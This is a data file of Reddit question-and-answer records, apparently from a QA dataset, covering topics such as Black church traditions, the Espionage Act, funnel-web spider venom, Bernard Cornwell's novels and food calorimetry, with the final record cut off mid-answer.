{"q_id": "338hp4", "title": "why are predominantly african-american churches so much different than more white churches?", "selftext": "I know this sounds racist, but I don't mean it negatively. I mean this question mostly in preaching and musical styles.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/338hp4/eli5_why_are_predominantly_africanamerican/", "answers": {"a_id": ["cqij5m0", "cqijfes"], "score": [4, 4], "text": ["Black people were segregated from the white population for a long time and weren't welcome in their churches. So they had to hold their own services. It's only natural that it evolved into something a little different.", "As a white, atheist Canadian, I obviously wouldn't have the answer. But if I were to hazard a guess, this style of prayer and observance were borne out of a need to raise the morale of the severely oppressed black communities. After having been forcibly indoctrinated into Christianity, but having no money for the churches to exploit, they were left alone to fend for themselves on a religious level. Most simply prayed quietly wherever a free moment allowed, as whites of the time were not interested in sharing their churches with blacks. When black churches appeared, instead of the fire and brimstone sermons intended to frighten a wealthy populace into parting with their tithes, blacks (who despite their introduction, embraced Christanity), chose to celebrate their very survival as a sign that God wanted them to survive. The paradoxical notion that the all-knowing God tests his people for strength and resilience would be proof (enough) that God had grand plans for the black people. This idea bouyed their spirits and became a cause for joy. This tradition carries on because of the ongoing impoverishment on many black communities, but is still observed in well-to-do communities because it ties those communities together and genuinely seems more fun and positive than the norm. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "gd16v", "title": "Is your fields knowledge growing faster exponentially and if so, how long before it reaches a limit that eclipses how much am individual can learn?", "selftext": "For example, fifty years ago, we knew so little about the cosmos and how it all came together, our place in it and its history. Today a person could spend years learning to catch up to the point where we are with knowledge. How long before an individual has to specialize their learning towards a single aspect rather than being able to emcompass the big picture?\n\nI guess what I am asking is, do you think there will be a *saturation point* where an individual can only hope to add to your field by learning and understanding only a single aspect of it? I mean, our knowledge and understanding seems to be growing at an exponential rate, yet an individuals ability to learn remains linear.\n\nLastly, of course certain people learn quicker, but even exceptionally gifted individuals may sooner or later find an upper limit. Off the top of my head, I would consider Modern History as a really good example - there is so much happening, so quickly and written down in so much detail and it is growing so quickly that I can't imagine that someone in fifty years being able to catch up to someone who lived through the same fifty years. But living memory aside, can/will this happen in your field do you think?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gd16v/is_your_fields_knowledge_growing_faster/", "answers": {"a_id": ["c1moa7f", "c1mof5c", "c1mor88", "c1mos13", "c1mou4w", "c1mpr82"], "score": [8, 3, 3, 6, 2, 3], "text": ["It's all like a firehose into a teacup already (thank dogbert for that gem).\n\nOur only hope is to either specialize narrowly enough to know all there is to know for that narrow slice or be a generalist with an \"overview understanding\" of many things and rely on those with the real specialized knowledge when it comes to it. \n\nOf course that's just my .00002", " > I guess what I am asking is, do you think there will be a saturation point where an individual can only hope to add to your field by learning and understanding only a single aspect of it?\n\nIt's already that way several times over in mathematics.  There's somebody -- Hilbert I think -- that they say was the last person to know all of the mathematics that was known at the time, and the last person who will ever.\n\nI have a kind of an internal analogy that I use whenever I'm thinking about this sort of thing.  It's like we're all born in a certain place on a map, spend our lives wandering around, then die.  Everywhere close to the starting point has been seen, many times over.  The area that's familiar to humankind is radiating out from that point, and ever growing.  But it's getting harder and harder to discover anything new.  Every once in a while someone will turn over a rock relatively close to the starting point and discover something new.  But eventually it will get to the point where you'll have to start running from the moment you are born just to get somewhere no one's ever been.\n\nFortunately or not, I think we're still a long way from that point.", "Welcome to 1706.\n\nLeibniz was said to be [the last man to know everything](_URL_1_)-- in other words, all of his contemporary human knowledge.\n\n[He](_URL_0_) was a pretty smart guy.", "The illustrated guide to a PhD.\n\n_URL_0_", "At least in biology I would argue that this is not the case, that a single human CAN know enough about every concept to actually decipher what the details are with a few google lookups. But unfortunately, the way people do things today discourages acquiring knowledge in such a broad sense. Neuroscientists know nothing about immunology and neither know what happens in microbiology. If someone really wanted to know everything thats important and there is to know in biology, it will take him 10 years full time to do so. But thats about it. I also don't envisage this increasing exponentially either. Sure, research is spearheading like crazy, but most research today are about the details, not the concepts: how particular gene x works in particular gene y. Concepts wise there are still some major bottlenecks we need to figure, but all that I hope to know of biology could probably be learned in 2 more years once they have all been found, perhaps 20-30 years from now.\n\nAnother viewpoint is that you DONT HAVE TO know everything in your field. The most important thing you need to know today is how to really use Google (trust me, most people don't). Given the sum of almost all knowledge is literally at your fingertips most of the time, in a sense you do know everything in the field if you have solid basic understanding of the underlying concepts and findings and you know how to browse the interwebs FAST.", "I've been writing a comprehensive review of my field, so I'll try to comment on this.  There are several modes of knowledge acquisition people do that's commonly classified under \"learning\": \n\n1. secondary expert-curated (e.g. textbook)\n2. primary expert-curated (e.g. reviews on a field)\n3. casual reading (how we read most papers)\n4. no-quarter-spared, in-depth understanding of papers.  i.e., actively re-interpreting data and looking at it from all angles, as you would do if you're reviewing it for publication\n\nMy sense is that there is a different human limit for each of the above, akin to the [Dunbar number](_URL_0_) for social contacts.  (4) is surpassed for most disciplines.  See the [timeline](_URL_1_) I made for my (relatively backwaters) field**.  It's not only the time required to read the material -- a paltry year -- but in the time required to resolve the ambiguities.  (Our review gestated for ~3 years.)  Remember, most papers are quasi-incommensurate because they use slightly different methodology, so often there is significant back and forth required to make sense of the big picture.\n\nHow will people be able to keep up?  That's where (2), and subsequently (1), comes in.  We rely on experts to spend the time to abstract out the field, rejecting the anomalies and identifying the major trends (the professional \"tl;dr\" :) ).  This is a leaky abstraction -- I was in a talk last week where a pretty key paper was buried for several decades -- but it's the price to pay for not being able to resolve (and retain)  > 1000 publications effectively.\n\nA pretty apt analogy is with programming.  (4) is akin to writing in assembly language; it's hard-going.  By abstracting it into a higher-level language (e.g. python), it becomes easier to push the frontiers, at the expense of not having as fine control.  So yes, different people will/does have a different \"specialization profile\" (we're all experts in different things and rely on good taste/judgment of others), but we're not at a point where even (2) is surpassed for most disciplines."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Leibniz", "http://www.eoht.info/page/Last+person+to+know+everything"], ["http://laymanslayout.wordpress.com/2010/08/20/graph-the-illustrated-guide-to-a-phd/"], [], ["http://en.wikipedia.org/wiki/Dunbar%27s_number", "http://web.uvic.ca/~jkwchui/channelTimeline/channelsTimeline.html"]]}
{"q_id": "1gyoyc", "title": "the usa's espionage act of 1917", "selftext": "In light of Edward Snowden being charged with espionage: \n\nHow does it differ from the patriot act? \n\nWill most countries deport back to the USA if you are found there? is this the reason why Mr. Snowden was charged; so the States could have a wider \"legal\" reach for him?\n\nThank you", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gyoyc/eli5_the_usas_espionage_act_of_1917/", "answers": {"a_id": ["cap4rye", "cap5gts", "cap9rhi"], "score": [105, 93, 7], "text": ["The espionage act was mainly passed to keep people from transferring materials/information to the enemy or interfering with military operations. Since Snowden did effectively transfer classified information to an enemy he can be charged under this act.\n\nThe patriot act primarily expanded how the government could obtain information inside and outside of the US. It also expanded the definition of terrorism and increased the ability of the government to prosecute terrorism. However, what Snowden did can not really be considered terrorism even under this expanded definition so he could not be charged under the patriot act.\n\nThe US has extradition treaties with about half the countries in the [world](_URL_0_). Hong Kong and Ecuador being among them. But without Snowden being charged with anything the extradition treaties would not come into effect. So yes Snowden being charged has increased the US reach but it was not the only reason for him to be charged the way he was or when he was.", "So a little backstory on the Espionage Act and how it works.\n\nOfficial secrecy in the United States is remarkably recent. There were basically _no_ laws about it until the 20th century. There were some military regulations as to what to do if someone was spying (who was in the military), but that was basically it. You had lots of _informal_ secrecy, but very few _laws_ about it \u2014 very few ways in which the government could say, \"ah, I consider this information to be secret, and if you violate that understanding, I can punish you.\" Prior to the Espionage Act, secrecy was largely what I call \"contractual\": you signed a piece of paper that said, \"I agree to keep this secret, and if I fail, you can do stuff to me,\" which is very different from a \"compulsory\" secrecy regime where if you give away something that is considered secret, you can go to jail, whether you agreed to keep it secret or not.\n\nWorld War I changed this. Why? Fears of German spies, fears of local insurrection, and new fears about the role of _technical information_ in war. Secrets in war prior to WWI were more along the lines of \"how many troops are here and how many of them are going to be somewhere else in three days\" and things like that (\"troop movements\"). Secrecy in war from WWI forward had that but introduced new and important categories like \"what kind of super cool new weapons am I working on\" and \"what kind of information have I intercepted about the enemy.\" (The submarine was the \"wonder weapon\" of WWI and the cause of a lot of American fears.)\n\nOK, so they passed the Espionage Act right at the end of it. What it says is basically that if the US government deems a class of information \"defense information,\" they can punish you if you do a variety of things with it. The punishments go up depending on your intentions \u2014 if you're deliberately trying to hurt the US or help its enemies, the punishments are higher than if you, say, accidentally give it away or give it away with really good intentions. \n\nThe \"defense information\" bit means that the President can, through Executive Orders, define the requirements for what is a secret and what is not. Typically this only applies to information generated by the government itself \u2014\u00a0you can't, under the Espionage Act, classify \"public\" information, or information created by a private source. (There are only a few exceptions to this in US law; one of them is the patent secrecy law that was passed at the same time as the Espionage Act \u2014 again with the technical fears\u00a0\u2014\u00a0the other is the later Atomic Energy Act.) \n\nWhat the Espionage Act has evolved into is general legal \"teeth\" behind a system of regulating American defense-relevant information. The guidelines on how the information needs to be handled is defined by the aforementioned Executive Orders (every President issues a new one; Obama's was [Executive Order 13526](_URL_0_)). The Espionage Act is more or less the way to enforce these Executive Orders and gives them Congressional and legal sanction; it is what gives the \"SECRET\" stamps any legal meaning.", " > Congress passed, and Wilson signed, in June of 1917, the Espionage Act. From its title one would suppose it was an act against spying. However, it had a clause that provided penalties up to twenty years in prison for \"Whoever, when the United States is at war, shall willfully cause or attempt to cause insubordination, disloyalty, mutiny, or refusal of duty in the military or naval forces of the United States, or shall willfully obstruct the recruiting or enlistment service of the U.S. .. .\" Unless one had a theory about the nature of governments, it was not clear how the Espionage Act would be used. It even had a clause that said \"nothing in this section shall be construed to limit or restrict . . . any discussion, comment, or criticism of the acts or policies of the Government. .. .\" But its double- talk concealed a singleness of purpose. The Espionage Act was used to imprison Americans who spoke or wrote against the war.\n\n >  Two months after the law passed, a Socialist named Charles Schenck was arrested in Philadelphia for printing and distributing fifteen thousand leaflets that denounced the draft law and the war. The leaflet recited the Thirteenth Amendment provision against \"involuntary servitude\" and said the Conscription Act violated this. Conscription, it said, was \"a monstrous deed against humanity in the interests of the financiers of Wall Street.\" And: \"Do not submit to intimidation.\"\n\n >  Schenck was indicted, tried, found guilty, and sentenced to six months in jail for violating the Espionage Act. (it turned out to be one of the shortest sentences given in such cases.)\n\n..\n\n >  In a small town in South Dakota, a farmer and socialist named Fred Fairchild, during an argument about the war, said, according to his accusers: \"If I were of conscription age and had no dependents and were drafted, I would refuse to serve. They could shoot me, but they could not make me fight.\" He was tried under the Espionage Act, sentenced to a year and a day at Leavenworth penitentiary. And so it went, multiplied two thousand times (the number of prosecutions under the Espionage Act).\n\n\ntaken from _URL_0_\n\nsorry, not really eli5, but a nice read anyway."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/List_of_United_States_extradition_treaties"], ["http://www.whitehouse.gov/the-press-office/executive-order-classified-national-security-information"], ["http://www.historyisaweapon.com/defcon1/zinnwarhea14.html"]]}
{"q_id": "3aqlb0", "title": "why are many australian spiders, such as the funnel web spider, toxic enough to drop a horse, but prey on small insects?", "selftext": "As Bill Brison put it, \"This appears to be the most literal case of overkill\".", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3aqlb0/eli5_why_are_many_australian_spiders_such_as_the/", "answers": {"a_id": ["csf17jl", "csf1vqg", "csf2cnb", "csf2y08", "csf31cv", "csf4bvh", "csf4um2", "csf5bcv", "csf5jc7", "csf64tp", "csf6a3o", "csf8bh0", "csf9vff", "csfa2w3", "csfac9y", "csfau84", "csfb7nv", "csfbcit", "csfd9zh", "csfefpv", "csfeuhn", "csffj2j", "csfg1h1", "csfg9f5", "csfgo3j", "csfgye1", "csfhi4p", "csfhio1", "csfhre6", "csfi1ss", "csfi8re", "csfk6gy", "csfl67q", "csfm4sq", "csfmv64", "csfo1rn", "csfo43n", "csfopdh", "csfpgb5", "csfprn7", "csfqfd4", "csfr0i2", "csfsssj", "csftcqb", "csftguu", "csfyr21"], "score": [331, 258, 3891, 13, 51, 32, 5, 2, 41, 30, 2, 2, 8, 2, 6, 2, 2, 8, 2, 7, 2, 120, 2, 2, 2, 3, 2, 3, 2, 5, 2, 2, 2, 10, 2, 2, 2, 2, 2, 2, 2, 5, 2, 2, 2, 6], "text": ["Have you ever tried to eat a horse?", "Australia is a harsh continent that really is not conducive to life in general. Over time, the potency of the venom was the winning trait as it could guarantee a successful hunt even if the spider \"missed\" and only a microscopic portion of the venom gets to the prey. \n", "Here is the low-down.  Spiders' prey is often much more mobile than the spider is.  Flying insects, jumping insects, and other quick moving prey only need a second to escape a few feet out of the spider's grasp.  Even if the venom kills the prey after it escapes, it doesn't get the spider a meal and is thus ineffective.  This situation means there is a large evolutionary incentive for the spider's venom to be EXTREMELY fast acting, which means the venom is extremely potent.  When it bites a horse, it doesn't kill the horse immediately, but the potent venom still has enough oomph to kill it slowly.\n\nFor a similar example in the marine environment, see the cone snail and its gnasty cocktail of toxins!", "Evolution does not have end goals. The extreme toxicity of the funnel web's venom to large vertebrates is a byproduct of accident. The adaptation doesn't prevent the spider from reproducing and lowers the rate of predation upon it.\n\n", "I think you're over-estimating the strength of many spider bites, as well as the number of medically significant spiders in the world. If you're referring to redbacks/widows (*Latrodectus*) and funnel spiders (*Atrax* and *Hadronyche*), then a general answer would be that their venom contains a neurotoxin and whether you're a large primate or small insect a neurotoxin is gonna do some damage. ", "Or snake island off the coast of brazil.  The snakes specialized to prey on migratory birds, and have one of the strongest poisons known, because they have to immobilize birds.\n\n_URL_0_", "Australian spiders use venom like australian people use cuss words, they over use the living shit out of it. ", "There's a fungal spore that infects ants and turns them into miniature ant zombies. Once infected they mindlessly climb up a tree to a high position then bite down hard on the bark, unable to let go. They die like this and a new fungus grows out of the corpse to release more spores. Pretty horrific really. Although I don't think it's found in Australia I thought it might interest some of the posters on here :-)", "For scale: are you one of those who hunt blue whale when you're feeling hungry?", "[Red Queen Hypothesis](_URL_1_)\n\nEssentially, millions of years of evolution in a given environment has increased their natural toxic levels to combat their natural predators. Predators develop better immunities to a given toxin or die off, and this process continues on until one of the species either dies off or changes its dietary habits. It results in species that are able to withstand larger doses of a toxin, and a species with a very powerful toxin. \n\n[Video about newts and garter snakes and how their relationship works in nature](_URL_0_), particularly how the newt became so toxic to humans over time. ", "I guess evolution is slow, and a couple of hundred thousand years ago there were much bigger threats that exist today for the Funnel Web  \n\nfor eg. _URL_0_  < - this giant lizard, \n\nif you only have enough venom to drop a small insect, you not going to last very long if bigger things can just come along and eat you without consequence", "Natural selection doesn't care if it's overkill or not. Whatever gets the job done. \n\nThe spider wants to kill insect. Whatever venom that kills the insect will be favored by natural selection, regardless of whether it is \"just strong enough\" or \"overkill\". That's it. What makes you assume being too toxic is something that will be selected against?", "Arms races. There's strong selective pressure for prey to evolve resistance to spider venoms. So the spider's venom gets stronger in order to kill the prey who are resistant to it. This goes on and on in a escalatory arms race which ends with spider venom being far more toxic than it would have otherwise needed to be. They don't switch to other forms of prey such as horses because they don't have the other requirements for eating horses - fangs aren't big enough to pierce the skin, they won't be able to digest horse meat, they'd also require a suite of new behavioural adaptations for hunting horses. This is quite a common phenomenon seen in other systems, such as the chemical defences in Mediterranean plants.", "Sometimes the lethality of the venom is an accident. I remember reading an article about one of the deadly spiders in Australia. It turns out that primates (like us) are the only mammals that have a fatal reaction to the venom. There are no primates native to Australia, so being able to kill us was just a happy accident of evolution.", "there are only tow that can kill a human being in Australia. The Sydney funnel-web and the red back spider. Only two. ", "Probably low self-esteem and low self-worth, so they tackle only the easy prey.  Besides, they can't digest a horse.  Only humans can when they say \"I could eat a horse\".", "Just to add to the discussion ... I went to Australia when I was like 15. I remember going to relatives houses and seeing a piece of paper, usually by the telephone, of the different spiders and how dangerous they were. I thought this was weird, but never said anything. Anyway ... Was hanging out with my cousins at some abandon soccer faciality at night and they're all just looking at me smiling, trying to hold back their smiles. I turn around and there's A HUGE SPIDER THE SIZE OF MY HAND behind me, right by my head. The point of my story is Australia's spiders are TOO DAMN BIG.  ", "Well, I live in Australia, so can speak from experience: They could drop a horse, but, they would have a little bit of trouble eating it. I had a near encounter with a sydney funnel web when I was sleeping, and it could have killed me no problem. However, someone who was awake captured it in a glass jar, and then took it to the hospital to turn its venom into antivenom. Always try to capture the spider instead of killing it if possible.", "All other answers aside, here's a fun fact.\n\nThe funnel web venom won't harm mammals other than primates. If you see a dog or cat playing with one, just leave it be, or at least take your time before rushing in barehanded to swat it away. It might make them ill, but it won't kill them like it would you.", "Wow, the question is obviously about the apparent overkill in it's toxicity for what it's primary food source is, and everyone's commenting like \"Durr spiders can't eat horses idiot\".  \n\nAnyway, you'd be better off in askscience or google for something like this. My guess it evolution just made it very potent on it's own by accident. Maybe the potency kills the little insects that much quicker, making it a more viable trait. \n\n", "Why do we eat chickens instead of whales?", "As I've understood from countless hours in front of the Discovery Channel, Animal Planet, and the likes, it goes something like this. Itsy bitsy spider is hungry, and wants a snack. All snacks have either wings, legs to run or jump with, or some other kind of defensive strategy. In order for the snack to become a snack, the itsy bitsy spider has to kill it REALLY fast. When a tarantula spots a small bird, and goes in for the kill, the poison has to act fast enough for the bird to drop almost instantly. Same goes for other insects that move quick as hell, or rodents.\n\nIn the sea the same principle occurs, only stronger. Sea snakes are among the most venomous creatures on Earth (in the sense of fast-acting) because there it's even more important that your dinner snack don't escape (them fishies move fast, man).\n\nSo, it's about speed. Speedy kills prevent snack from getting away. If it drops dead two minutes after a bite, it would be hard for a visually challenged spider to find it. It's not like a komodo dragon that can bite a deer, then stalk it for hours (cuz it got good sense of smell, with the tongue) until it dies from BACTERIA infection. I mean, Jesus... That's just cold.", "Well ,sure, it COULD drop a horse ,but what the fuck is it gonna do with it?", "As I read this I'm looking at the Black Widow in my window sill and wonder if I should stop feeding it ants.", "Fun Fact..I was a pool cleaner for a summer when i was young.. Would find funnel webs in pools and save them for anti venom.. they can live for days under water.", "The toxicity of a venomous creature may depend on catching the prey and not letting it get away, but depending on the animal, it may also be defensive. I know that many snakes are highly venomous both to keep their prey from getting away, but also to keep it from struggling and possibly hurting the snake. Some creatures that hunt venomous creatures also build up an immunity and so more toxic venom in greater amounts sometimes makes sense. For instance badgers (honey badger don't fuck around) can handle some snake bites and kill the snake, and king cobras feed on smaller snakes, even other cobras. \n\nOn the other hand, it takes a lot of metabolic energy to replenish complicated venoms so sometimes it makes sense to make a very small amount of very toxic venom, or not at all. \n\nBoa constrictors don't need any venom and this gives them a metabolic advantage as more of their food goes towards helping them grow, instead of using it to replenish venom sacs. \n\nAnd sometimes the animal doesn't make its own venom at all but simply helps nature help itself. Monitor lizards for instance sometimes have a toxic mix of bacteria in their mouths and saliva, and they bite an animal, and just wait for the infection to set in, patiently waiting it out. \n\nNow spiders like the funnel web are ambush predators. Outside of your garage or outhouse, they will set a kind of tunnel like trap, with bits of debris mixed in with the silk it can be difficult to spot. Some of these spider species will just wait for something to come into their fluffy, cotton like, web, and bite it with venom, and others may instead use their silk to make trap doors, hiding in small holes, camoflaged when dirt sticks to the web, something comes walking by and out pops the spider. \n\nAs someone else mentioned as well, spider venom is usually formulated to attack insects, and one of the ways it does this is it begins to digest the hapless victim from the inside out, and the spider just sucks up the tasty grasshopper juices. This may be deadly to other insects, and when humans are bitten, it makes a painful bite and irritates our skin but doesn't do much more to us. \n\nSome spiders use their venom to prey on much larger animals though, even voles, mice, rats, and birds. \n\nNatures a bit of a bitch. ", "insects don't have blood, they have hemolymph. they have a circulatory system but they have no heart. they have a segmented abdomen that acts like a heart. Hemolymph flows freely through the insect body. most venom not only paralyze the insect but also liquidates the internal organs for easy digestion. our soft tissue organs are hyper susceptible to the necrotic part of insect toxins.", "From the wiki:\"During an attack the funnel-web spider generally maintains a tight grip on its victim and bites repeatedly, making it an especially traumatic experience for humans who are bitten and increasing the risk of severe envenomation.\" Holy fuck that sounds absolutely horrifying", "Well...they can't eat a horse now, can they?\n\n.....can...they?", "In addition to the top answer (by mayoriguana), spiders come from a time when everything was much larger, due to the elevated oxygen levels back then (inspects breath through their skin). The modern, lower, oxygen levels, severely limit the size spiders can become. This is relevant, because for their evolution, they would have been much larger historically, and gone after larger prey, and therefore needed very potent venom. When the oxygen levels decreased, their size did as well, but not the potency of their venom, for evolutionary reasons, as mayoriguana pointed out, the most potent venom was beneficial. \n\nTldr/elif: If the oxygen levels become higher spiders will get bigger and eventually you will be considered prey. The reason they currently do not eat you and your family is because oxygen levels are much lower then in previous historical periods. ", "Venom is incredibly costly for the body to produce so spiders are more inclined to use less of it so that they can use the rest when they need to defend themselves. This means they will take down smaller prey, which is also easier to handle and eat discretely, not to mention that spiders differ from humans because they are never hungry enough to eat horses", "Ever tried shoving an entire watermelon in your mouth? That's why.", "Consider for a moment that spiders don't have teeth (though I think there's a family or two that do). That means that spiders can't really chew their food. One solution to this is to have venom that is so mind-boggling toxic that it effectively dissolves the body of whatever you happen to bite. The venom isn't as powerful as it is because that's strictly necessary to kill their prey (though /u/mayoriguana raised a fairly good point about kill prey quickly, it's worth noting that spider webs exist precisely to capture prey so the spider can then kill them), but rather because if you can render the prey down to the point where you could effectively drink it with a straw, you don't need to evolve teeth to chew said prey up. \n\nAustralia: Evolution's Nevada Test Site. ", " >  As Bill Brison put it, \"This appears to be the most literal case of overkill\".\n\nBryson.  And this doesn't apply to spiders, but there are cases of co-evolution running away with things like this -- For instance, some newts contain enough poison to kill bunches of humans.  The reason is because they only have one type predator, and they're in an arms race... Newt gets poisonous, snake gets more resistant, repeat.  \n\n_URL_1_\n\nSimilar things have happened with cheetahs and antelopes -- the only thing fast enough to catch antelopes are cheetahs, and cheetahs mostly only eat antelopes.  So they continually select for faster cheetahs and faster antelopes.  At this point, cheetahs are so fast they have to use their tails as rudders\n\n_URL_0_\n\nIt's called an evolutionary arms race, and there's even a wikipedia page on it.\n\n_URL_2_", "It is actually a quirk of chemistry that makes the funnelweb deadly to humans. i cant explain as well as a chemist but one of the main active compunds in funnelweb venom is called Atraxatoxin from memory and is only good for dissolving the insides of insects and killing primates if your cat, dog, horse etc. gets bit by a funnelweb it will have very little effect. Even our Redback (similar to your black widow in the states) is very rarely fatal, it is extremely painful, causing cramps and off the charts pain but doesn't really shut down or damage the central nervous system like a lot of our snake bites do.", "Not a scientific answer, but this is how I think of it; empathize with the spider for a minute. Imagine you're chilling at your pad with some buddies after a long day on the clock when out of nowhere mothafuckin godzilla rolls through your block. Not just block, but town. Entire state actually. Entire shit is flattened. All you've known, all you've seen. So naturally when godzilla bends down to fuck you up, after trapping you in a corner, you defend with the last mechanism you have. After biting the behemoth, you find an opening and scurry away as fast as you can. After sprinting for what seems like hours, you turn around to see the colossus slumped over, writhing in apparent agony. Now, are you gonna go back and check if that thing is truly dead and MAYBE edible, or are you gonna never ever fuck with that thing ever again. Never go near the area, never settle anywhere near where that thing came from or eventually perished. Cuz you don't know whether you're powerful enough to take it down, or if it was by some other miracle that felled the juggernaut, but you do know one thing: you never ever wanna have to deal with a godzilla attack ever again\n\nedit: After reading some of the other responses, i realize that the question is more \"why does the venom have to be so powerful\" rather than \"why don't spiders eat horses, since they have the capability to kill them.\" Either way, I kinda like my answer (prob cuz it's so long, and required a decent amount of time to type up), and just substitute out the profanity, and it's still kinda ELI5", "Funnel web spiders: If i remember correctly, their poison only/mostly affects primates. So it ptobably won't drop a horse.", "the toxicity in large animals is just a secondary effect, but probably evolved for protection reasons. but the main goal of the spider's venom isnt to kill. its the spit of the spider, and its meant to dissolve other arthopods inside their exoeskeleton, just so they can drink it later like a milkshake.\n", "A couple of things to modify in your thinking and I think this goes away.  Only two Australian spiders are dangerous to people, for a start - not \"many\" - that's a myth.\n\nI also think it's important to disabuse yourself of the notion that there is some sliding scale of spider venom potency.   Funnelwebs are toxic to us purely accidentally.  What is a highly effective neurotoxin to their prey, just happens to also work very well on us, too.  \n\nOne of the problems humans have with them is that our companion animals are not susceptible to their venom, so your cat can get bitten and it will hurt it a bit, but if it happens to you, you can go into a coma.  British spiders, for instance, of which none are medically significant are every bit as venomous, it's just that their particular cocktail of venom doesn't usually do permanent harm to humans.\n\nE: Gooder Inglish.", "Actually, the funnel web's venom is really only toxic to primates. Other mammals seem to be able to bear it, so a horse would suffer no more than from a bee sting. Now, the funny thing is, there are no primates native to Australia, so this is likely just an accident. The venom needs to be potent enough to kill the prey offensively, and hurt the spider's predator defensively so it will learn to not hunt the spider anymore. For example, the Black Widow bite is actually one of the most painful in the invertebrate biomass. Latrodectism is just the aftereffect.", "Australian [funnel-web toxin](_URL_0_) has a mild effect on other mammals; primates, including humans, are just very sensitive to the toxin.", "What the fuck is a spider going to do with a dead horse???", "The real question is: why are there so many animals in Australia that are constantly trying to kill you?", "Actually, that isn't strictly true. Spider venom is used by arachnids to dissolve their prey before consumption. Primates are the only mammals that are allergic to this venom, so a spider could not kill a horse, in fact: extracting antibodies from large animals like horses are how humans create antivenoms for spider bite treatment.", "Seriously? Imagine a funnel Web trying to eat a horse. Or even a small rodent. It would be impractical.", "The funnel web is a very interesting example of how venom acts on different animals.  Primates are the only order of mammals that are susceptible to funnel web venom, and before humans arrived in Australia there were no primates.  This means that it is a complete coincidence that the venom can be so deadly to humans, but dogs for instance, are never killed by funnel webs because they venom doesn't interfere with their biological systems.  This also means that its venom would not drop a horse.\n\nI know that doesn't answer your question but it is a mildly interesting fact."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.vice.com/video/snake-island-part-1"], [], [], [], ["https://www.youtube.com/watch?v=Xlkj-NoZyn0", "https://en.wikipedia.org/wiki/Red_Queen_hypothesis"], ["https://en.wikipedia.org/wiki/Megalania"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://i.imgur.com/z4HCuQJ.gif", "http://news.stanford.edu/news/2008/march12/newts-031208.html", "https://en.wikipedia.org/wiki/Evolutionary_arms_race"], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Delta_atracotoxin"], [], [], [], [], []]}
{"q_id": "1jdwje", "title": "How accurate are Bernard Cornwell's books, especially the Saxon-Chronicles?", "selftext": "I hope some of you read a bit of his work and know to what extend he got it right. I'm aware that the question is kind of vague, but I hoped for some basic things you know about the topic first. If required I'd gather some more specific questions if you aren't familiar with the books.\n\nWhat I already know: If I'm not completely mistaken Cornwell in general is known for researching alot and being fairly accurate with his creations, yet there obviously must be flaws left. There is no need to elaborate on the characters he created/altered significantly (For example the antagonistic portrayal of Aethelred of Mercia) or the other changes he mentioned in the appendix of his works (eg. Chronologically relocating the death of Ubba Lothbrokson). \n\nSo in what ways did he portray battle/war/politics or day to day living inaccurately?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jdwje/how_accurate_are_bernard_cornwells_books/", "answers": {"a_id": ["cbdqtf1", "cbdxwvg", "cbdymi6"], "score": [12, 2, 3], "text": ["I'm a fan of Bernard Cornwell and I find that he does a really good job of being historically accurate (with regards to the setting, obviously not so much with the characters and story).\n\nI find he has a tendency to go a bit overboard into the [Dung Ages](_URL_0_) trope, but otherwise gets things pretty close to as historically accurate as possible while keeping them entertaining.\n\nIt has been a while since I read his books last, but I can't remember any particularly glaring historical errors (that weren't clearly explained in his Author's Note). There has been some debate about exactly how shield-wall combat actually happened, but I find Cornwell's depiction to be a logical one. I think he also goes a little overboard on his anti-Christian themes (having few 'good' Christian characters, etc.) but I think he captures the spirit of religious conflict fairly well. \n\nOther than that, I definitely see Cornwell as in the top echelon of writers of historical fiction - he seems to make a much more thorough attempt at historical accuracy than many authors.", "As an addon to this question, how accurate is his book \"The Fort\", revolving around the Penobscot Expedition in the American Independence War?", "I would take Bernard Cornwell with a grain of salt large enough to pay a Roman legionnaire.\n\nMy main problem is how he presents Alfred the Great in his Saxon Stories.\n\nAlfred was not only a gifted administrator, he was also a capable general, as he won the following battles:\n\nThe Battle of Ashdown\n\nThe Battle of Eddington \n\nHe built a navy and established a military system (The Burghs) that thwarted further Viking raids.\n\nHowever, in the Saxon Stories, the success of Alfred is owed only to Uhtred, the wonderful, talented and mighty warrior/author surrogate who all women love and who wins the Battle of Eddington so that he single-handedly saves all of England and allows Alfred to continue ruling.\n\nAs a historian, this absolutely infuriates me because he deliberately downplays the significant achievements of Alfred, and this presents a distorted view of what actually occurred to readers who may not be familiar with English history."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://tvtropes.org/pmwiki/pmwiki.php/Main/TheDungAges"], [], []]}
{"q_id": "1ktlxc", "title": "Why is the caloric content of food measured by combusting the food in a bomb calorimeter if our bodies do not combust the food in our stomachs?", "selftext": "It is my understanding that the energy we collect from food comes from the difference between the energy released in the formation of bonds and the energy consumed by the destruction of bonds in the food, but the chemical processes of digestion are fundamentally different from those of combustion, in which O2 is introduced and CO2 and H2O produced. Why do we measure with combustion?\n\nFor example, if you were to combust gasoline in a bomb calorimeter, it would produce quite a lot of heat and would therefore have a lot of calories (according to your calorie measuring calorimeter). However, I don't think these are the kind of calories that we can consume if we drink gasoline, so the measurement would be false would it not?\n\nTL;DR Does digesting food extract the same amount of chemical potential energy from the food as combusting it does?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ktlxc/why_is_the_caloric_content_of_food_measured_by/", "answers": {"a_id": ["cbshbfh", "cbshemz", "cbshoim", "cbsmtyw"], "score": [50, 3, 3, 12], "text": ["Burning gives an upper limit to the amount of energy you can get out of combustion. \n\nIf the end products are water and CO2 then it doesn't matter how you get to it, the total energy produced will be the same if the products are the same. Your body simply does the oxidation slowly through a long chain of chemical reactions in order to process it in a way that is beneficial to your body.  If your body exploded compounds it would 